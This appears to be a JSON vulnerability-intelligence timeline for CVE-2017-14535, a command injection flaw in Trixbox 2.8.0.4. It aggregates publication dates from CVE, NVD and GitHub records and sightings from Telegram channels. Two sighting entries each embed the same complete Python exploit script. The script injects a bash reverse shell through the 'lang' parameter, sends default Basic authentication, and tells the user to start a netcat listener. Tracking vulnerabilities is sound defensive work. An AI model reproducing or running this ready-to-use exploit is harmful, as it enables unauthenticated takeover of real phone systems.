{"metadata": {"vulnerability": "CVE-2017-14535", "count": 19, "kinds": {"milestone": 4, "sighting": 5, "kev": 0, "other": 10}}, "data": [{"timestamp": "2017-09-17T00:00:00Z", "date_only": false, "value": "2017-09-17T00:00:00.000Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2017-14535", "field": "cveMetadata.dateReserved"}, {"timestamp": "2018-02-15T00:00:00Z", "date_only": false, "value": "2018-02-15T00:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / mitre", "record": "CVE-2017-14535", "field": "containers.cna.datePublic"}, {"timestamp": "2018-02-16T04:00:00Z", "date_only": false, "value": "2018-02-16T04:00:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2017-14535", "field": "cveMetadata.datePublished"}, {"timestamp": "2018-02-16T04:29:00Z", "date_only": false, "value": "2018-02-16T04:29:00Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-Q5F7-6Q9F-G2Q5", "record": "GHSA-Q5F7-6Q9F-G2Q5", "field": "database_specific.nvd_published_at"}, {"timestamp": "2018-02-16T04:29:00Z", "date_only": false, "value": "2018-02-16T04:29Z", "kind": "other", "label": "Published Date", "source": "gsd \u00b7 GSD-2017-14535", "record": "GSD-2017-14535", "field": "namespaces.nvd.nist.gov.publishedDate"}, {"timestamp": "2018-02-16T04:29:00.213Z", "date_only": false, "value": "2018-02-16T04:29:00.213", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2017-14535", "record": "FKIE_CVE-2017-14535", "field": "published"}, {"timestamp": "2021-05-28T09:48:54Z", "date_only": false, "value": "2021-05-28T09:48:54.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/pwnwiki_zhchannel/521", "record": "CVE-2017-14535", "field": "creation_timestamp", "uuid": "2b576f7b-392c-4a46-b935-b2b928002eee", "content": "CVE-2017-14535 Trixbox 2.8.0.4 \u9060\u7a0b\u4ee3\u78bc\u57f7\u884c\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2017-14535_Trixbox_2.8.0.4_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E", "url": "https://t.me/pwnwiki_zhchannel/521"}, {"timestamp": "2021-06-18T20:00:35Z", "date_only": false, "value": "2021-06-18T20:00:35.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/3ouVcpxfy2r0oud8B6y1ACiZsbMO-wMiEFY3yMln1yqdDw", "record": "CVE-2017-14535", "field": "creation_timestamp", "uuid": "4a73b1f8-2adb-4bc0-8825-0dec5c9e6193"}, {"timestamp": "2021-07-10T16:29:07Z", "date_only": false, "value": "2021-07-10T16:29:07.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/eMoVbCeI-n-jaFKeB-W9ZjnKBEe6KGFrv-r960DcFriPRg", "record": "CVE-2017-14535", "field": "creation_timestamp", "uuid": "56f8977f-c31d-4004-aba6-6b3ae8cd3e5c"}, {"timestamp": "2021-07-29T11:27:55Z", "date_only": false, "value": "2021-07-29T11:27:55.000Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / mitre", "record": "CVE-2017-14535", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2022-02-19T04:29:00Z", "date_only": false, "value": "2022-02-19T04:29Z", "kind": "other", "label": "Last Modified Date", "source": "gsd \u00b7 GSD-2017-14535", "record": "GSD-2017-14535", "field": "namespaces.nvd.nist.gov.lastModifiedDate"}, {"timestamp": "2022-05-13T01:03:34Z", "date_only": false, "value": "2022-05-13T01:03:34Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-Q5F7-6Q9F-G2Q5", "record": "GHSA-Q5F7-6Q9F-G2Q5", "field": "published"}, {"timestamp": "2022-05-13T01:03:34Z", "date_only": false, "value": "2022-05-13T01:03:34Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-Q5F7-6Q9F-G2Q5", "record": "GHSA-Q5F7-6Q9F-G2Q5", "field": "modified"}, {"timestamp": "2023-12-13T01:21:12.612Z", "date_only": false, "value": "2023-12-13T01:21:12.612598Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2017-14535", "record": "GSD-2017-14535", "field": "gsd.osvSchema.modified"}, {"timestamp": "2024-08-05T19:27:40.809Z", "date_only": false, "value": "2024-08-05T19:27:40.809Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2017-14535", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2024-08-05T19:27:40.809Z", "date_only": false, "value": "2024-08-05T19:27:40.809Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "CVE-2017-14535", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2026-06-17T01:06:20.370Z", "date_only": false, "value": "2026-06-17T01:06:20.370", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2017-14535", "record": "FKIE_CVE-2017-14535", "field": "lastModified"}, {"timestamp": "2026-09-01T20:02:40.470Z", "date_only": false, "value": "2026-09-01T20:02:40.470090Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/10508", "record": "CVE-2017-14535", "field": "creation_timestamp", "uuid": "bfff2cc9-d830-438b-a3bb-b9f3363a2d41", "content": "Exploit Collector\nTrixbox 2.8.0.4 Remote Code Execution\n\nhttps://1.bp.blogspot.com/-jW_VWiRlkJ4/WWlvh6QcNII/AAAAAAAAIQg/x12g-flM0hAb9z-fRCiW9Z3UAYaaFuf7ACLcBGAs/s1600/h9.png \nTrixbox version 2.8.0.4 has an OS command injection vulnerability that can be leveraged via shell metacharacters in the lang parameter to /maint/modules/home/index.php.\n\nMD5 | b20a34f5709b4607d3383fa6db1f537f\n\nDownload\n# Exploit Title: Trixbox 2.8.0.4 - 'lang' Remote Code Execution (Unauthenticated)\n# Date: 27.05.2021\n# Exploit Author: Ron Jost (Hacker5preme)\n# Credits to: https://secur1tyadvisory.wordpress.com/2018/02/11/trixbox-os-command-injection-vulnerability-cve-2017-14535/\n# Credits to: Sachin Wagh\n# Vendor Homepage: https://sourceforge.net/projects/asteriskathome/\n# Software Link: https://sourceforge.net/projects/asteriskathome/files/trixbox%20CE/trixbox%202.8/trixbox-2.8.0.4.iso/download\n# Version: 2.8.0.4\n# Tested on: Xubuntu 20.04\n# CVE: CVE-2017-14535\n\n'''\nDescription:\ntrixbox 2.8.0.4 has OS command injection via shell metacharacters in the lang parameter to /maint/modules/home/index.php\n'''\n'''\nImport required modules:\n'''\nimport requests\nimport sys\nimport time\n'''\nUser-input:\n'''\ntarget_ip = sys.argv[1]\ntarget_port = sys.argv[2]\nlisten_ip = sys.argv[3]\nlisten_port = sys.argv[4]\n'''\nConstruct malicious request:\n'''\n# Construct header:\nheader = {\n'Host': target_ip,\n'User-Agent': 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',\n'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',\n'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',\n'Accept-Encoding': 'gzip, deflate',\n'Authorization': 'Basic bWFpbnQ6cGFzc3dvcmQ=',\n'Connection': 'close',\n'Upgrade-Insecure-Requests': '1',\n'Cache-Control': 'max-age=0'\n}\n\n# Construct malicious link:\nlink_p1 = 'http://' + target_ip + ':' + target_port + '/maint/modules/home/index.php?lang=english|bash%20-i%20%3E%26%20'\nlink_p2 = '%2Fdev%2Ftcp%2F' + listen_ip + '%2F' + listen_port + '%200%3E%261||x'\nlink = link_p1 + link_p2\n'''\nFinish: EXPLOIT!!!\n'''\nprint('')\nprint('')\nprint('Please start the following command in a seperate terminal: nc -lnvp ' + listen_port)\nprint('')\ntime.sleep(2)\nReady = input(\"If you're done and want to start the exploit please input EXPLOIT: \")\nif Ready == 'EXPLOIT':\nprint('')\nprint('Exploit sent, check your Netcat instance :)')\nx = requests.post(link, headers=header)\nelse:\nprint('TRY AGAIN')\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "url": "https://t.me/hacking_Attack/10508"}, {"timestamp": "2026-09-08T05:00:03.629Z", "date_only": false, "value": "2026-09-08T05:00:03.629835Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/10508", "record": "CVE-2017-14535", "field": "creation_timestamp", "uuid": "d0d7864a-76e6-4eb4-a294-3342bbfded93", "content": "Exploit Collector\nTrixbox 2.8.0.4 Remote Code Execution\n\nhttps://1.bp.blogspot.com/-jW_VWiRlkJ4/WWlvh6QcNII/AAAAAAAAIQg/x12g-flM0hAb9z-fRCiW9Z3UAYaaFuf7ACLcBGAs/s1600/h9.png \nTrixbox version 2.8.0.4 has an OS command injection vulnerability that can be leveraged via shell metacharacters in the lang parameter to /maint/modules/home/index.php.\n\nMD5 | b20a34f5709b4607d3383fa6db1f537f\n\nDownload\n# Exploit Title: Trixbox 2.8.0.4 - 'lang' Remote Code Execution (Unauthenticated)\n# Date: 27.05.2021\n# Exploit Author: Ron Jost (Hacker5preme)\n# Credits to: https://secur1tyadvisory.wordpress.com/2018/02/11/trixbox-os-command-injection-vulnerability-cve-2017-14535/\n# Credits to: Sachin Wagh\n# Vendor Homepage: https://sourceforge.net/projects/asteriskathome/\n# Software Link: https://sourceforge.net/projects/asteriskathome/files/trixbox%20CE/trixbox%202.8/trixbox-2.8.0.4.iso/download\n# Version: 2.8.0.4\n# Tested on: Xubuntu 20.04\n# CVE: CVE-2017-14535\n\n'''\nDescription:\ntrixbox 2.8.0.4 has OS command injection via shell metacharacters in the lang parameter to /maint/modules/home/index.php\n'''\n'''\nImport required modules:\n'''\nimport requests\nimport sys\nimport time\n'''\nUser-input:\n'''\ntarget_ip = sys.argv[1]\ntarget_port = sys.argv[2]\nlisten_ip = sys.argv[3]\nlisten_port = sys.argv[4]\n'''\nConstruct malicious request:\n'''\n# Construct header:\nheader = {\n'Host': target_ip,\n'User-Agent': 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',\n'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',\n'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',\n'Accept-Encoding': 'gzip, deflate',\n'Authorization': 'Basic bWFpbnQ6cGFzc3dvcmQ=',\n'Connection': 'close',\n'Upgrade-Insecure-Requests': '1',\n'Cache-Control': 'max-age=0'\n}\n\n# Construct malicious link:\nlink_p1 = 'http://' + target_ip + ':' + target_port + '/maint/modules/home/index.php?lang=english|bash%20-i%20%3E%26%20'\nlink_p2 = '%2Fdev%2Ftcp%2F' + listen_ip + '%2F' + listen_port + '%200%3E%261||x'\nlink = link_p1 + link_p2\n'''\nFinish: EXPLOIT!!!\n'''\nprint('')\nprint('')\nprint('Please start the following command in a seperate terminal: nc -lnvp ' + listen_port)\nprint('')\ntime.sleep(2)\nReady = input(\"If you're done and want to start the exploit please input EXPLOIT: \")\nif Ready == 'EXPLOIT':\nprint('')\nprint('Exploit sent, check your Netcat instance :)')\nx = requests.post(link, headers=header)\nelse:\nprint('TRY AGAIN')\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "url": "https://t.me/hacking_Attack/10508"}]}